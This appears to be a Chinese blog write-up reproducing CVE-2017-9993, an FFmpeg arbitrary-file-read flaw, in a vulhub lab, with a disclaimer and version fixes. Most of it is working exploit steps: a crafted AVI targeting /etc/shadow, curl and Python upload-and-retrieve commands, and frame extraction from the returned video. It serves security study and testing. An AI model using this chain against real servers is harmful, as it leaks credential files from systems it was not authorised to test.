CVE-2017-9993漏洞复现

CVE-2017-9993漏洞复现

复制代码
免责声明:
本文仅用于网络安全学习、防御研究与授权测试交流,严禁用于任何未经授权的攻击、入侵或破坏行为。
读者应遵守《中华人民共和国网络安全法》等相关法律法规,因滥用本文内容造成的任何后果,均由行为人自行承担,作者不承担任何责任。
如本文内容涉及侵权,请联系删除。

漏洞简介

复制代码
CVE-2017-9993:FFmpeg HLS 文件名限制绕过
漏洞类型:路径遍历与任意文件读取(CWE-22)
核心原理:这是 CVE-2016-1897 的不完整修复。FFmpeg 在修复 CVE-2016-1897 时,未正确限制 HLS 播放列表中的文件名扩展名和解复用器名称,导致攻击者可以通过构造特制的播放列表数据,绕过修复逻辑,继续读取服务器上的任意文件。
攻击者将恶意的 HLS 播放列表嵌入到 AVI 文件的字幕块中(如 GAB2 字幕块),FFmpeg 在转码 AVI 时,会将这个字幕块当作 XBIN 视频流来处理,而 XBIN 编解码器在处理过程中会引用播放列表,从而触发文件读取。读取到的文件内容会被编码到输出的 MP4 视频帧中。
利用方式:使用 gen_xbin_avi.py 脚本生成恶意 AVI 文件,上传到目标服务器触发 FFmpeg 转码,然后从生成的 MP4 视频帧中提取被读取的文件内容。
影响版本:FFmpeg 2.8.12 之前、3.0.x 和 3.1.x 低于 3.1.9、3.2.x 低于 3.2.6、3.3.x 低于 3.3.2。
修复:升级到对应的修复版本(2.8.12、3.1.9、3.2.6 或 3.3.2)。

手动复现

复制代码
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/]
└─# git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/]
└─# cd ffmpeg-avi-m3u-xbin
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# python gen_xbin_avi.py file:///etc/shadow shadow.avi
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl -F "file=@shadow.avi" http://192.168.119.106:8080/ -i       
HTTP/1.1 200 OK
Host: 192.168.119.106:8080
Connection: close
X-Powered-By: PHP/7.0.33-0+deb9u6
Content-type: text/html; charset=UTF-8
<html>
 <head>
  <meta charset="utf-8">
  <title>Video Player</title>
 </head>
 <body>
     <div>
        <video src="./6ac9f33a71c33.mp4" controls="controls" width="640" height="480"></video>
     </div>
     <form method="post" enctype="multipart/form-data">
       <input type="file" name="file">
       <input type="submit" value="Submit">
     </form>
 </body>
</html>

查看通过服务器FFmpeg解析过后的视频

1.下载视频查看

复制代码
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl http://192.168.119.106:8080/6ac9f33a71c33.mp4 -o 123.mp4
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 420.6k 100 420.6k   0      0 210.2M      0                              0

2.视频生成图片

复制代码
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl http://192.168.119.106:8080/6ac9f33a71c33.mp4 -o 123.mp4
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 420.6k 100 420.6k   0      0 210.2M      0                              0
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# ffmpeg -i 123.mp4 -vf "select='eq(n\,0)'" -vframes 1 123.png  

脚本复现:

python 复制代码
python -c "
import requests, re
r = requests.post('http://192.168.119.106:8080/', files={'file': open('shadow.avi','rb')})
print('状态码:', r.status_code)
m = re.search(r'src=\"\.\/([^\"]+\.mp4)\"', r.text)
if m:
    fname = m.group(1)
    url = 'http://192.168.119.106:8080/' + fname
    print('下载地址:', url)
    data = requests.get(url).content
    open('output.mp4','wb').write(data)
    print('已保存 output.mp4, 大小:', len(data), '字节')
else:
    print('未找到视频路径,响应内容前 500 字节:')
    print(r.text[:500])
"

复现环境搭建

提醒:容器大小1.11GB

复制代码
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/ffmpeg/CVE-2017-9993
docker compose up -d
相关推荐
福建佰胜张工13 小时前
深度解析 Allen-Bradley 150-B135NBDA 智能电机控制器:选型、参数与工业应用
运维·数据库·单片机·嵌入式硬件·安全·自动化
智慧光迅AINOPOL13 小时前
POF光电复合缆多业务承载原理
网络·安全·智能路由器
一木 之林13 小时前
Dify学习笔记 04 · 检索底座:Embedding、Rerank与向量数据库(第46-54集)
笔记·学习·embedding·dify
ljt272496066113 小时前
Python笔记(十一)--Numpy(一)
笔记·python·numpy
芯思路13 小时前
STM32开发学习笔记之十【AI部署】
笔记·stm32·学习
一只小鱼儿吖14 小时前
内网穿透技术全景:原理、安全与实践
网络·安全
憧憬成为java架构高手的小白14 小时前
langgraph4j学习
学习
电子科技圈14 小时前
芯科科技2026年Tech Talks技术系列讲座再增添全新主题共探无线SoC架构演进与安全合规
科技·嵌入式硬件·mcu·物联网·安全·架构·iot
江屿风14 小时前
【Plain Language Large Model】【从浏览器到全栈:一课精通Node.js三剑客】流食般投喂
笔记·前端框架·npm·node.js·js·npx
CCIE-Yasuo14 小时前
网络安全-学习web开发-列表、标签
前端·学习·web安全